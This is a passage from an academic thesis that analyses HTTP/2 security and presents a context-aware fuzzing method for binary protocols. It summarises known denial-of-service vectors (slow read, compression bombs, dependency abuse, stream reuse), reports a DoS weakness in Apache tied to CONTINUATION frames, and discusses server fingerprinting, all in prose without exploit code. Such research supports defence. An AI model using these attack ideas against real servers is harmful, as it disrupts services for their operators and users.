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ABSTRACT
The Internet traffic, today, comprises majorly of Hyper Text Transfer Protocol
(HTTP). The first version of HTTP protocol was standardized in 1991, followed by
a major upgrade in May 2015. HTTP/2 is the next generation of HTTP protocol
that promises to resolve short-comings of HTTP 1.1 and provide features to greatly
improve upon its performance.
There has been a 1000% increase in the cyber crimes rate over the past two years.
Since HTTP/2 is a relatively new protocol with a very high acceptance rate (around
68% of all HTTPS traffic), it gives rise to an urgent need of analyzing this protocol
from a security vulnerability perspective.
In this thesis, I have systematically analyzed the security concerns in HTTP/2
protocol - starting from the specifications, testing all variation of frames (basic entity
in HTTP/2 protocol) and every new introduced feature.
In this thesis, I also propose the Context Aware fuzz Testing for Binary communi-
cation protocols methodology. Using this testing methodology, I was able to discover
a serious security susceptibility using which an attacker can carry out a denial-of-
service attack on Apache web-server.
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Chapter 1
INTRODUCTION
Internet, as we know today, is made up of massively distributed client and server
based information systems. It comprises of diverse type of applications like email,
file transfer, audio-video streaming, web browsing and so on. To support such wide
range of applications there are enormous number of protocols like HTTP, FTP, SMTP,
POP, Telnet, SSH, SMB to name a few [9]. Amongst all such protocols used over the
Internet, HTTP is the most popular and widely used (based on the World-Wide-Web
traffic [24]).
Figure 1.1 shows the traffic distribution among various network layer protocols,
clearly identifying TCP as the most prevalent protocol on the Internet [8].
Figure 1.1: Network Layer Protocol Traffic Distribution (Source arbor.net [8]).
HTTP is an application layer protocol, built on top of TCP/IP. According to the
data collected by 67 different ISPs (Source arbor.net [8]), amongst all the protocols
built on top of TCP, HTTP is the most prominent (as depicted in figure 1.2).
This high prevalence and continued migration to HTTP makes it one of the most
targeted protocol for the attackers. Figure 1.3 shows the percentage of attacks on
various TCP based protocols [8].
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Figure 1.2: Traffic on Various TCP Ports (Source arbor.net [8]).
Figure 1.3: TCP Port Based Attack Distribution (Source arbor.net [8]).
Since its introduction in 1991 [31], there have been four different versions of HTTP.
The first three variations included minor upgrades over their predecessor with addition
of few new functionalities. HTTP/2, the latest version of HTTP, has its origin from
the Google’s SPDY protocol which attempts to re-look at HTTP from the perspective
of new era web technologies requirements. HTTP/2 has been developed from scratch
and was standardized in May 2015.
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Since its standardization, there has been a tremendous rise in migration from
HTTP 1.1 to HTTP/2. The biggest factor contributing to this shift is the significant
improvement in page load time [15], thereby leading to high performance. Figure 1.4
shows the growth rate of HTTP/2 over time [34], taking into account both HTTP
and HTTPS traffic.
Figure 1.4: Growth of HTTP/2 (Source w3techs.com [34]).
Although HTTP/2 has a significant acceptance rate in totality, it would be im-
portant to check the statistics for HTTPS traffic only, since our primary focus is on
security analysis. Figure 1.5 shows that among all communications over HTTPS,
approximately 68% of the traffic utilizes HTTP/2 (as of April 2016) [20].
The motivation for the development of HTTP/2 lies in the shortcomings of HTTP
1.1 and also the evolved needs of the modern era of web technologies. The key factors
are as follows:
• HTTP 1.1 is a good protocol but its performance has degraded over the past 15
years with the fast pacing advancements in the Internet world. At the time of its
development, the major objective of the web had been to show static web pages
3
Figure 1.5: Percentage of Communication Over HTTPS (Source keycdn.com [20]).
with images. Over the course of time, loading a web page has become a resource
intensive task, owing to the fact that most of the web pages are inherently
dynamic with lots of images and scripts controlling the run time behavior of
the page. Thereby arising the need to revisit the protocol’s performance.
• The requirement of any new feature in HTTP 1.1 to cope up with the increasing
needs of the web, made the protocol more convoluted, leading to implementa-
tions that are prone to bugs.
• HTTP 1.1 protocol is based in ASCII. Since the web pages are processed by
computers and not humans (thereby eliminating the need for an ASCII based
protocol), it increases the required bandwidth and also the processor load on
the system.
• There is no way of simultaneously fetching resources due to inherent sequential
nature of the protocol.
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To achieve the targeted goals of HTTP/2, members of Internet Engineering Task
Force (IETF) have looked at every aspect of the protocol and introduced many new
functionalities. The key features are as follows:
• Binary Protocol - HTTP 1.x used ASCII format for request and response,
that was highly resource intensive for client and server. HTTP/2 uses the same
semantics but in binarized version, there by making it more efficient. This has
many advantages like:
– Reduced overhead in request and response.
– Lower on-the-wire footprint thus reducing bandwidth requirements.
– Reduced network latency and improvement in overall throughput
• Stream Priority - This feature of HTTP/2 protocol was introduced with the
new capability requirements of the web. While loading a web page, the browser
(or rendering engine) proceeds in a logical sequence and hence the client should
be able to ask the server to prioritize a particular resource over others. An
example for this would be prioritizing the HTML, CSS and JavaScript files over
the image files.
• Multiplexing - This is one of the most important feature in HTTP/2 which
was introduced to remove sequential request and response. Using this feature,
client and server can use the same TCP connection to fetch and serve multiple
resources.
• Server Push - This feature was introduced due to the fact that server can have
prior knowledge about the resource requirement of client. The main advantage
of this feature is utilized by servers that generate web pages based on the infor-
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mation in request. The server can utilize this time for sending other resources
like JavaScript, CSS and image files which are static in nature.
• Header Compression - This feature was introduced in order to further reduce
the bandwidth requirements. The client and server use HPACK algorithm to
compress the transmitted request and response header.
• ALPN - Application Layer Protocol Negotiation (or ALPN) is a Transport
Layer Security (TLS) extension for application layer protocol negotiation. This
was introduced to decide upon the use of HTTP/2 as application layer protocol
for communication by server and client. The important aspect of ALPN is that
the protocol negotiation happens without introducing any additional round trips
in TLS handshake.
HTTP/2 is a new protocol with high acceptance rate, which demands an urgent
need for evaluating this protocol for any security concerns. This was my primary
motivation for working on the security vulnerability analysis of HTTP/2 protocol.
In order to do the vulnerability analysis I chose NGINX (version 1.11.3) web server
and Apache web server (version 2.4.17 - 2.4.23). The primary reason for selecting these
as servers is that they are open source and serve around 70% of the entire web traffic.
The table 1.1 shows the web server that developers share for top million web sites.
For client we selected Chrome (version 52) and Firefox (version 48) since they are
used by more than 70% of all the users [2].
The main contributions of this thesis are as following:
• Developed a testing methodology that can be used for testing any binary net-
work communication protocol.
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Table 1.1: Web Server Developers: Market Share of Top Million Busiest Sites
(Source netcraft.com [4]).
Developer January
2017
Percent February
2017
Percent Change
Apache 416,257 41.63% 414,118 41.41% -0.21
nginx 282,986 28.30% 283,409 28.34% 0.04
Microsoft 102,660 10.27% 101,909 10.19% -0.08
Google 17,702 1.77% 17,648 1.76% -0.01
• Discovered a serious security vulnerability which can allow the attacker to per-
form a denial-of-service attack on a server grade machine using a commodity
hardware.
• Uncovered multiple ways in which one can fingerprint the server.
The rest of this thesis is organized in the following manner. Chapter 2 further
describes the problems in HTTP 1.1 protocol, introduction to HTTP/2 and expla-
nation of its various features. The chapter also explains white-box and fuzz testing,
and provides information about the client and server that we have tested. Chapter 3
discusses other published research works related to HTTP/2 or the testing method-
ologies. Chapter 4 provides details on the utilized testing methodology, also outlining
its applicability to other binary network communication protocols. Chapter 5 ex-
plains the implementation techniques. Chapter 6 explores the testing environment
and the results obtained. Chapter 7 concludes this thesis.
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Chapter 2
BACKGROUND
HTTP (Hyper Text Transfer Protocol) is an application layer protocol which was
designed on the principles of simplicity. The original protocol, introduced in 1991
[31], had simple design goals which included:
• File transfer capabilities.
• Ability to search the indexed HTML archive.
• Ability to redirect a client to another server.
The initial design was developed under the assumption that all client requests are
idempotent.
2.1 Why Do We Need HTTP/2
Internet has seen tremendous growth since the introduction of HTTP, but the
basics have remained same [19]. The predecessor of HTTP/2 had started showing
signs of aging - for every new demand of the growing web, it required patching which
never completely resolved the problem as intended. For example the parallel loading
of the resources required by the web pages.
The client can request only one resource at a time and since web pages nowadays
contain huge number of scripts, style-sheet, images and other resources, the page
load time increases. There were a couple of approaches devised in order to tackle this
problem:
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Multiple Client Connections In this approach, the client establishes multiple
connections with servers (may be different servers based on resource location) and re-
quests each resource on different connection. The main drawback with this approach
is that it increases the load on the server due to higher consumption of resources.
Hence, each web browser implements a practical limitation on the number of con-
nections that can be established for each user request. Firefox limits the number of
connections to 17 while Chrome limits it to 10 [13].
Request pipelining Figure 2.1 shows the concept of pipelining. This solves the
sequential request response problem but faces Head of Line Blocking (a big response
starves all the following responses) issue.
Figure 2.1: HTTP 1.1 Connection With And Without Pipelining.
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2.2 Brief Introduction to HTTP/2
HTTP/2 is an application layer protocol that is build on top of TCP/IP layer and
it shares all the resources that are used for HTTP 1.1 like the use of http://, https://,
ports among other things. Since it shares everything with its predecessor, it requires
a mechanism for the client and server to inform each other and agree on the use of
HTTP/2.
HTTP/2 over clear text TCP If the client support HTTP/2, while sending
the HTTP request it includes upgrade field with h2c as its value along with the
HTTP/2 settings (refer section 2.2.1), indicating that the client supports HTTP/2.
For example:
GET / HTTP/1 .1
Host : s e r v e r . example . com
Connection : Upgrade , HTTP2 Se t t i n g s
Upgrade : h2c
HTTP2 Se t t i n g s : <base64ur l encoding o f HTTP/2 SETTINGS payload>
The server ignores the upgrade field if it does not support HTTP/2 and proceed with
normal HTTP 1.1 response. But if the server supports HTTP/2 it should send 101
Switching protocols and then proceed with HTTP/2 communication. For example;
HTTP/1.1 101 Switching Protoco l s
Connection : Upgrade
Upgrade : h2c
HTTP/2 over TLS During the handshake process of Transport Layer Security
(TLS) negotiation, the client and server negotiate the application layer protocol that
they would be using. TLS defines an extension called Application Layer Protocol
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Negotiation (ALPN) which allows the client and server to negotiate an application
layer protocol in a secure manner without increasing the number of round trips. Using
this protocol, the client sends a list of application layer protocols to server, which then
selects one of them [16]. Earlier, the Next Protocol Negotiation (NPN) extension
was used which has now been deprecated [3] [1].
After the client and server agree on HTTP/2 protocol, the client sends a string
known as Connection preface such as
0x505249202a20485454502f322e300d0a0d0a534d0d0a0d0a
or
"PRI ∗ HTTP/2.0\ r \n\ r \nSM\ r \n\ r \n"
along with exchange of a setting frame (explained in section 2.2.1). The connection
preface is a final conformation of the protocol in use that each end point is required
to send.
The basic unit in HTTP/2 protocol is called a Frame that begins with a fixed
9-bytes header followed by a variable length of payload as shown in the figure 2.2.
Fields in the header include:
• Length (24 Bits) - denotes total length of the frame.
• Type (8 Bits) - denotes type of the frame (refer section 2.2.1).
• Flag (8 Bits) - flags specific to frame type.
• Reservers (1 Bit) - Reserved for future use.
• Stream Id (31 Bits) - Used for parallelization of data transfer.
In HTTP/2 there are different types of information which has to be transfered
between client and server. For each type of information the protocol defines different
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Length (24)
Type (8) Flag (8)
Stream Id (31)R
Payload (Variable length)
Figure 2.2: Structure of Frame.
types of frames. For example, the HTTP request is transfered using the Header
Frame, data (HTML files, CSS, JavaScript or image files) is transfered using Data
Frame and connection level settings like maximum size of frame are transfered using
the Setting Frame.
2.2.1 Types of Frames
Data Frame (0x0) This frame is used to carry the data to and from the server.
Header Frame (0x1) This frame is used to send the HTTP request headers.
Priority Frame (0x2) This frame sets the priority of a stream. Priority is a 8 bit
number, also called weight. An endpoint sends this frame to set priority of frame,
but that is only a suggestion.
Reset Frame (0x3) This frame is used for immediate termination of the frame.
Setting Frame (0x4) This frame is used to transmit connection level setting in-
formation like maximum length of frame, maximum number of concurrent streams
etc.
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Push Promise Frame (0x5) This frame is used by the server when it knows the
resource requirements of the user and wants to push them to avoid delays at the client
end.
Ping Frame (0x6) This frame is utilized by the end points to check if the connec-
tion is active.
Go away Frame (0x7) This frame is used to close the connection.
Window Update (0x8) This frame type is used to implement flow control.
Continuation Frame (0x9) This frame is used along with header frame and push
frame. The objective of continuation frame is to carry data of header and push frame
when the payload exceeds frame size.
2.2.2 Communication Using HTTP/2 Protocol
A to and fro sequence of frames defines a Stream. Each stream can be used
for only one request and response, Figure 2.3 shows the communication between the
client and server over a stream. Each block in figure 2.3 represents a frame and
all the frames together form a stream. The client sends HTTP header in Header
frame to which the server responds using the Header frame along with the contents
of index.html in Data frame.
Every stream in HTTP/2 comprises of multiple frames which can be assembled
properly at the endpoint, provided they arrive in correct sequence. This capability
allows the client and server to establish multiple streams of request/response for
numerous resources, known as multiplexing.
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Stream 1
:method: GET
:scheme: https
:path: /index.html
:user-agent: safari
C
L
I
E
N
T
S
E
R
V
E
R
HEADER Frame (0x1)
:status: 200 OK
:server: NGINX
HEADER Frame (0x1)
DATA Frame (0x0)
<html>
….
</html>
Figure 2.3: HTTP/2 Communication Over A Stream.
Figure 2.4 shows the communication between client and server. An important
point to notice here is the multiplexing feature of HTTP/2 which the client utilizes
to concurrently access resources.
Figure 2.4: Overall HTTP/2 Communication Over A Connection.
2.2.3 HPACK: Header Compression For HTTP/2
The major objective of HTTP/2 was improved performance. Hence, it defines a
simple and flexible mechanism of compressing the header fields to reduce bandwidth
requirements.
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HTTP/2 converts the HTTP request into a list of name value pairs. For example,
consider the following HTTP header:
GET / index . html HTTP/1 .1
This can be expressed as a list of header name and header value pairs as shown below:
Table 2.1: Example of Header Name and Header Value in HTTP/2.
Header Name Header Value
:method GET
:scheme https
:path /index.html
HPACK defines header compression algorithm for HTTP/2 where each endpoint
maintains a mapping (known as HPACK table) of index to header name or header
value or both, defined by the other endpoint. HPACK also defines a list of static
entries (see table B.1 in Appendix B). Using the table B.1 we can convert the name
value pairs in table 2.1. HPACK defines that the first bit of byte is reserved to mark
the end of index. Since the index fits in 7 bits, they are represented as bytes in the
request. In the following example, the client request would be 3 bytes in length as
shown below:
10000010 10000111 10000101
2.3 Features of HTTP/2
2.3.1 Multiplexing
HTTP/2 defines Stream for communication between a client and server for each
individual resource. The endpoints in this communication are allowed to asyn-
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chronously request and respond for each Steam without stopping or blocking any
other Stream. For example, consider the scenario where a web page is made up of
1 image, 1 JavaScript, 1 CSS and 1 HTML file. The client would create 4 different
streams (assuming Server push is disabled) and the server is allowed to respond in
any sequence, making sure that frames of a particular stream are in sequence. This
would be beneficial, since the HTML page preparation might take some time while
the other resources are read from disk and transmitted to the client.
2.3.2 Resource Prioritization
HTTP/2 defines a way of prioritizing a particular resource over another, since the
web pages tend to contain lot of images and may take some time before the client
receives them. It is important to note that for loading of a web page, the browsers
(or rendering engines) require HTML, JavaScript and CSS before it need images.
2.3.3 Server Push
Accessing a web page over the Internet requires sending a request to remote
server and receiving the response. A web page generally contains lot of resources
like JavaScript, CSS and image files, most of which are generally static files.
In the traditional request response pattern, the client knows about the additional
required resources only after receiving the web page. Most of the web pages are
generated at run time, and the time elapsed between the server receiving the request
and preparing the response is the idle time. This is illustrated in figure 2.5a.
Since server serving the request is (or can be made) aware of the additional re-
sources that would be required by the client, it can push this information to client
during the idle time. This feature increases the performance of the protocol by uti-
lizing the time effectively. This is illustrated in figure 2.5b.
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Figure 2.5: Communication With And Without Server Push.
2.4 Whitebox Testing
White box testing is a software testing methodology that tests the internal struc-
ture of the software instead of the functionality like black box testing. White box
testing requires internal knowledge of the system along with programming skills to
develop the test cases. The test cases include multiple control flows of the software
during execution along with data flow. The design of the test cases is based on
following:
• Control Flow testing
• Data flow testing
• Branch testing
• Statement coverage
• Decision coverage
• Modified condition/decision coverage
• Prime path testing
• Path testing
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2.5 Fuzz Testing
Fuzz testing (or simply Fuzzing), developed in 1989 [30], is an automated software
testing technique used to find vulnerabilities or bugs in software by sending massive
amount of random data or valid input data with random modifications as input.
Fuzz testing can be categorized in three different ways:
• Fuzzer can generate raw input for the program or it can randomly modify correct
data to generate fuzzed input.
• Fuzzer can have knowledge about the structure of input data or can randomly
generate the data.
• The fuzzed input data can be generated based on black box testing , grey box
testing or white box testing.
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Chapter 3
RELATED WORK
The web application security research team at Imperva Defense Center pub-
lished a HTTP/2 analysis document outlining four different attack vectors for HTTP/2
implementations [6]:
• Slow Read attack sends correct application layer request but makes sure that
it reads the response from server very slowly, thereby trying to exhaust all
the server resources. By using the multiplexing feature of HTTP/2, client can
simultaneously make multiple requests to the server with prior knowledge that
most of the servers will allocate a different thread for each stream. This can be
utilized by the client to attack the server.
• HPACK (Compression) raises two main concerns. Firstly, there is a risk of
data leak when compression precedes encryption operation in an application.
Secondly, there is risk from specially crafted zipped message that can cause un-
expected behavior in the decoder, which was exploited in the zip bomb attacks.
• Dependency DoS The nghttp2 implementation of HTTP/2 suffers from possi-
blity of DoS attack or even remote code execution attack. This happens because
Nghttp2 restricts the dependency graph size to MAX_CONCURRENT_STREAMS
and upon new priority request it drops old streams. Due to improper memory
cleanup, the attack becomes a possibility.
• Stream abuse - HTTP/2 defines that one stream ID can be used only for a
particular request and response, and prevents further reuse of this ID. When
IIS receives two different requests on the same stream, it crashes [10].
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The research done by web application security research team at the Imperva De-
fense Center has been very crucial to the evolution of HTTP/2 as a secure protocol.
But, there is definitely need for formulating a systematic approach to test all the bi-
nary network communication protocols.
Taintscope [35] is a checksum aware fuzz testing approach which tries to solve
a common drawback of fuzz testing in protocols containing checksum field. This is
a fully automated approach - detection of checksum field, fuzzing and repairing the
crash samples. Results from the various experiments are indicative of Taintscope’s
high accuracy in identifying and drastically improving the fuzz testing approach.
Taintscope is one of the most interesting research works which directed my attention
towards formulating a methodology for testing network communication protocol.
Taint-based Directed Whitebox Fuzzing [17] is an automated fuzzing tech-
nique (also tool). It uses dynamic taint tracing to locate previously fuzzed regions
that influenced values used in key program attack points. This is followed by gen-
eration of a new test input file using the previous test input file as base and fuzzed
region as seed for fuzzing.
TLS-Attacker [29] is an open source framework for evaluating TLS library by
allowing the users to create custom TLS message flows and randomly modifying the
contents of a message.
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Chapter 4
APPROACH
4.1 Why Context Aware Fuzz Testing?
Fuzz testing is generally a black box testing methodology, but in our case of
Context Aware Fuzz Testing, it is used as a white box testing paradigm. The
reasons for selecting White box fuzzing can be attributed to its many advantages.
The application of black box fuzz testing approach on binary communication protocol
poses special kind of challenges like -
• Controlling the state of protocol during the fuzzing process. For example, dif-
ferent states of HTTP 2 protocol are - Idle, reserved (local), reserved (remote),
open, half closed (local), half closed (remote) and close.
Without controlling the state of protocol, the fuzzing process would generate
unbound fuzzed output, thereby making the process of fuzz testing difficult.
This will also lead to a reduction in test coverage.
• Controlling the fuzzing process itself to weed out unnecessary fuzzing of the
input data. For example, any modification to the payload would not be of any
use.
• Black box fuzz testing has very low code coverage and it is able to test only a
fraction of test scenarios.
• Black box testing suffers from repetitive testing of same thing multiple times.
• No advantage can be obtained from the fact that we are testing most of the
open source projects for which the code is readily available.
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4.2 Open Source Implementation
Our objective is to analyze HTTP/2 protocol from server and client perspective,
using both encrypted and unencrypted channels. The table 4.1 lists open source
implementation of HTTP/2 protocol supporting both - server and client, over HTTP
and HTTPS [7].
Table 4.1: List of Open Source HTTP/2 Implementation.
Name Language
Deuterium C
http-2 Ruby
http2 Go
hyper Python
Jetty Java
Netty Java
nghttp2 C
Protocol::HTTP2 Perl
firefly Java
I have analyzed the following open source implementations of HTTP/2:
• NGINX implements the server component of HTTP/2 protocol over the en-
crypted channel only. The implementation is lucid and easy but there is no
support for client and communication over clear text TCP.
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• nghttp2 is an implementation of HTTP/2 along with the header compression
algorithm. This is one of the most stable and matured libraries for HTTP/2
which is also consumed by Apache web server.
• hyper-h2 is pure-python based implementation of the HTTP/2 protocol.
4.3 Why Not Use Available Open Source Implementation?
Although there are numerous open source implementations available on the Inter-
net, none of them proved suitable due to the following reasons:
• Most of the libraries were not flexible enough i.e. the logic of the HTTP/2
communication was built into the library and not modifiable. This posed as
a challenge during protocol testing, where the sequence of bytes sent, did not
follow the guidelines of HTTP/2 protocol itself. For example, sending frames
with incompatible flags enabled is not possible.
• The frame formation happened within the library and most of the fields were
populated inside, which was difficult to handle for many of the test cases. For
example, one of my test case was sending multiple requests to the server in
decreasing order of the stream id.
• There was very little support provided by the libraries for creating a custom
payload along with the header field values. Due to this, most of the work was
required to be done even after using the library.
• For HTTPS, encryption and decryption was not supported by any library.
The above factors lead to our own implementation of HTTP/2 for both client and
server, using clear text TCP and TLS. The design for our implementation is very
modular, enabling creation of a HTTP/2 frame with any value.
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Figure 4.1: Design of Our Implementation.
Figure 4.1 show the major components in our design where each module has
following functionality:
• HTTP/2 Communication module is responsible for creating packets as dic-
tated by the test case manager. It supports the following functionalities:
– Creating an empty frame.
– Clearing values of any given frame.
– Writing values in the frame. For example, writing stream id or frame type
in the frame.
– Handling header compression (when asked).
– Automatically translating the header frame received from the other end
point.
• Test case manager is responsible for maintaining the test cases that it has to
run and the list of test cases it has already completed. All the values are disk
persisted to avoid loss of data in case of failure. The test case manager is also
responsible for providing the required values to the fuzzer. The flags are tested
for all possible combinations and are not passed to the fuzzer.
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• Fuzzer is responsible for fuzzing the HTTP/2 frame. Along with the frame, it
also takes the bytes that it has to fuzz. This provides a more granular control
to the Test case manager module.
• Network module is responsible for handling TLS negotiation for HTTP/2
and also for clear text TCP communication. During connection initiation, the
Test Case Manager tells the Network Module if it has to establish a secure
or an open connection.
4.4 Context Aware Fuzzing
Generally, all network communication protocols have same structure i.e. every
packet is made up of header fields and payload. Hence, in order to test a protocol
comprehensively, we should test them in isolation as well as with combination of
packets which are used to provide a feature. For example, in TCP we have SYN, SYN-
ACK and ACK packets to establish the connection, followed by the communication,
and finally the FIN packet. Testing the protocol with each packet in isolation enables
us to understand the behavior of system when it receives unexpected values. Fuzzing
binary protocols may lead to unrestricted number of inputs being generated, making
it unfeasible to use. In order to make this work, knowledge of protocol is required
which helps in limiting the number of cases.
While testing communication protocols, it is essential to maintain states. Gener-
ally, communication protocols can be broken down into the following steps:
• Establishing Connection: This is the step where client and server exchange set
of byte sequence to establish the connection. These set of bytes may or may not
be first set of bytes in the entire communication. For example, in case of TCP
these are actually the first set of bytes while in all the protocols that are based
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on TCP like HTTP, these are not the first set of bytes. Most communication
protocols utilize a simpler way of establishing the connection.However, new
protocols like HTTP/2 have slightly complex way of doing that. In HTTP/2,
client sends Magic sequence of bytes to server which informs the server that
client is going to communicate in HTTP/2. To establish the connection, client
sends another sequence of bytes (the header frame) to start communication over
a stream. Here, unlike the traditional way of communication, server can also
start a new communication stream.
This step of the communication protocol is extremely important from testing
and vulnerability perspective - like the SYN-FIN attack in TCP, which does not
have any logical sense in our regular use but should be handled properly. There
are multiple such combinations that we have already seen in TCP protocol.
Figure 4.2: TCP Bytes Exchanges For Establishing Connection.
• Communication over the protocol: This is the part of the protocol where client
and server exchange the data and is a rather mundane aspect from vulnerability
and testing point of view.
While testing this part of the protocol we need to ensure that during fuzzing of
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Figure 4.3: HTTP/2 Bytes Exchanges For Establishing Connection.
the input, no fields in the header frame are changed that could lead to changes
in the state of the connection like closing or resetting it. Another important
thing is to avoid fuzzing the payload part of the data as it does not concern the
communication protocol itself.
• Connection closing from one end: This part of the protocol, generally called
half open, is where the closing end only accepts the data. This step has some
interesting aspects from vulnerability point of view - like if the closing end sends
the data, would the other end still finish the remaining data or just abandon the
connection. The fuzzing process should run uncontrolled for this step, since the
connection has been closed only from our end and all the test cases generated
by the fuzzing process are acceptable.
• Closing the connection from other end: This part of the protocol is generally
called "half closed - remote". The chances of finding a security vulnerability
here is slim because the other end would be releasing all the resources held for
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this connection.
The fuzzing process can practically do anything because there is no next stage.
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Figure 4.4: Architecture Of Our Testing Framework.
The figure 4.4 shows the architecture of our testing process. Most of the modules
have been explained in section 4.3 and the explanation for the rest are as follows:
• Evaluation is the module that has pre-populated request-response pairs which
are utilized to compare the response from the other endpoint. This enables
automatic detection of success or failure of each test case.
• Log is module that keeps everything persisted, for restarting the testing process
from the last position.
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The figure 4.4 also shows the interaction between different components:
1. Generate a sequence of HTTP/2 frame (a full request/response).
2. Give a copy of the sequence of received HTTP/2 frame from step 1 to fuzzer
along with sequence of bytes to fuzz.
3. Give the fuzzed input to the network module to transmit to other end-point.
4. Transmit the frame and collect the response (if any).
5. Give the received output to the Evaluation engine.
6. Log the response and state of the test case in files.
4.5 Challenges
One of the biggest challenge while working with the fuzzer based testing approach
is finding out when the fuzzer is stalling and when it is running as expected. A lot
of trial and error is involved in order to solve this issue. For example, when fuzzing a
sequence of bytes representing a number, it requires heuristic and few optimizations
- like not fuzzing higher order bytes in order to continuously generate large or small
numbers.
4.6 Test Environment
The applicability of our test environment is suitable for testing any network based
communication protocol like Transmission Control Protocol (TCP).
The Figure 4.5 shows the modification of our approach for the Transmission Con-
trol Protocol. Changes needed for testing TCP are:
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Figure 4.5: Architecture Of Testing Framework For TCP.
• Instead of generating sequence of HTTP/2 frame, there would be a module that
generates a sequence of TCP packets.
• The context awareness part of the Test case manager would require modification
since it has to understand what fields to fuzz in order to generate a sequence of
test cases.
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4.7 Test Cases.
Basic Connect - Disconnect test cases:
• Connection Creation
• Stream Creation
• Communication Over Stream
• Stream Closing
• Connection Closing
Feature wise testing of HTTP/2 protocol:
• Odd-even Stream Id Test
• Exceeding Agreed Concurrent Streams
• Prioritize completed streams
• Prioritize unused stream ids
• Prioritize current streams over unused stream
• Circular Dependency
• Extreme values of dependency
Fuzz testing for different parts of the frames: Frame wise testing of the HTTP/2
protocol
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Table 4.2: Frame-wise Testing Of The HTTP/2 Protocol (Part 1).
Data Header Priority Reset Stream Setting
Flag Done Done Done The stream is Done
Length Done Done Done closed hence not Done
Stream Id Done Done Done much can be Done
Payload Its Data Done Done achieved. Done
Table 4.3: Frame-wise Testing Of The HTTP/2 Protocol (Part 2).
Push
Promise
Ping Goaway Window
Update
Continuation
Flag Done Done The Connect- Done Done
Length Done Done ion is closed Done Done
Stream Id Done Done by the other Done Done
Payload Done Done end hence
no apparent
change.
Done Done
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Chapter 5
IMPLEMENTATION
One of the reasons for popularity of C programming language is that it allows
programmers to implement functionalities at machine-level, without resorting to as-
sembly code (or even machine language), in order to achieve the targeted goal. For
example, bit level manipulation are very easy in C. These reasons make C an ideal
language for development of any binary network communication protocol.
Moreover, most of the encryption libraries (like OpenSSL) are written in C and
numerous languages provide a wrapper over these libraries. This poses a significant
challenge, specially when using a feature that has been recently introduced in the
base library. For example, HTTP/2 uses Application Layer Protocol Negotiation
(ALPN) for negotiating HTTP/2 as the application layer protocol. But since ALPN
was recently introduced (at the time of starting this project), it did not have properly
documented wrappers.
Following Libraries are used for this project:
• libcrypto - provides all the required cryptographic functionalities.
• libssl - provides support for various protocols in TLS.
5.1 Modules
The major modules in my implementation are:
• IO Layer - This layer is responsible for reading and writing of data to and from
the socket. It is also responsible for TLS handshake and encryption/decryption.
APIs’ exposed by this module are:
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– init_HTTP2_client_overTLS - returns a communication context. It takes
care of ALPN negotiation and makes sure that HTTP/2 is the application
layer protocol.
– init_HTTP2_client_over_clear_text - returns same communication con-
text as init_HTTP2_client_overTLS.
– read / write - returns the read / write data based on the input communi-
cation context (takes care of decryption, if required).
• Frame - This module is responsible for handling the bit level frame nuances
and read the buffered frame. APIs’ exposed by this module are:
– get_empty_frame - returns an empty frame.
– Setter and getters for all the frame header field.
– get_next_frame - returns the next received frame from the other end
point, based on the input communication context.
• Fuzzer - This module takes the frame and an array of bytes that are to be
fuzzed as input. After fuzzing it writes the frame to the other endpoint using
IO Layer.
• Test case Manager - This module is responsible for generating the frame
sequence using the HTTP/2 Communication module. This sequence is a
complete and valid request/response. It passes a copy of this sequence along
with bytes that have to be fuzz tested.
• HTTP/2 Communication module is responsible for creating packets as dic-
tated by the test case manager. It supports the following functionalities:
– Creating an empty frame.
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– Clearing values of any given frame.
– Writing values in the frame. For example, writing stream id or frame type
in the frame.
– Handling header compression (when asked).
– Automatically translating the header frame received from the other end
point.
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Chapter 6
EXPERIMENTAL RESULTS
6.1 Experiment Environment
For the purpose of deriving results that corresponds to real world scenarios, we
setup a wide range of systems resembling such scenarios. Table 6.1 lists the configu-
ration of all the systems used in test environment.
The first server in table 6.1 represents a real world high end server while the others
Table 6.1: System Configuration For Test Environment.
# Physical Processor RAM (in GB) Swap (in GB) Disk (in GB)
24 128 128 2048
2 16 5 1048
2 4 5 1048
4 16 10 256
represent various types of commodity hardware. This spectrum enabled us to broaden
and explore a wide range of testing scenarios.
6.2 Problems With The specification
In most cases the specifications covers all the important aspects of the protocol but
generally miss out on the corner cases. Each vendor defines his/her own interpretation
on how to handle such corner cases that eventually makes the system susceptible to
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fingerprinting attacks. Although many security researchers have stated that operating
system fingerprinting is not the key to a successful attack, but they also acknowledge
that it is definitely a starting point [22] [28]. For example, let us look at the TCP/IP
protocol:
Table 6.2: Passive OS Identification Using Only The Initial Values in TCP/IP [18].
Operating System TTL (IP
Datagram)
Window Size
(TCP Packet)
Linux (kernel 2.4 and 2.6) 64 5840
Google’s customized Linux 64 5720
FreeBSD 64 65535
Windows XP 128 65535
Windows 7, Vista and Server 2008 128 8192
Cisco Router (IOS 12.4) 255 4128
In HTTP/2, the specification defines a mechanism to send large sized HTTP
header. As per this, the HTTP header is broken down to a size that fits into the first
header frame (min size = 214 (default) to 224   1). Rest of the header is broken and
sent using the continuation frames. HTTP/2 specification states that all these frame
should be contiguous and not be interleaved with frames of other stream. Thse same
is depicted in figure 6.1.
However, this HTTP/2 specification does not specify the number of continuation
frames that the other endpoint receives before declining the request.
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Figure 6.1: Sending Big HTTP Header Over A Stream In HTTP/2.
6.3 Finger Printing Of Web Server.
6.3.1 Difference in Half-Closed Stream Behavior.
Definition of half-closed (local/remote) as per specification.
ha l f c l o s ed ( l o c a l ) :
A stream that i s in the " ha l f c l o s ed ( l o c a l ) " s t a t e cannot be used
f o r sending frames other than WINDOW_UPDATE, PRIORITY, and
RST_STREAM.
A stream t r a n s i t i o n s from th i s s t a t e to " c l o s ed " when a frame that
conta in s an END_STREAM f l a g i s r e c e i v ed or when e i t h e r peer sends
a RST_STREAM frame .
An endpoint can r e c e i v e any type o f frame in t h i s s t a t e .
Provid ing flow c on t r o l c r e d i t us ing WINDOW_UPDATE frames i s
nece s sa ry to cont inue r e c e i v i n g flow c on t r o l l e d frames . In t h i s
s ta te , a r e c e i v e r can ignore WINDOW_UPDATE frames , which might
a r r i v e f o r a shor t per iod a f t e r a frame bear ing the END_STREAM
f l a g i s sent .
PRIORITY frames r e c e i v ed in t h i s s t a t e are used to r e p r i o r i t i z e
streams that depend on the i d e n t i f i e d stream .
ha l f c l o s ed ( remote ) :
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A stream that i s " ha l f c l o s ed ( remote ) " i s no l onge r be ing used by
the peer to send frames . In t h i s s ta te , an endpoint i s no l onge r
ob l i g a t ed to maintain a r e c e i v e r f low c on t r o l window .
I f an endpoint r e c e i v e s add i t i ona l frames , other than
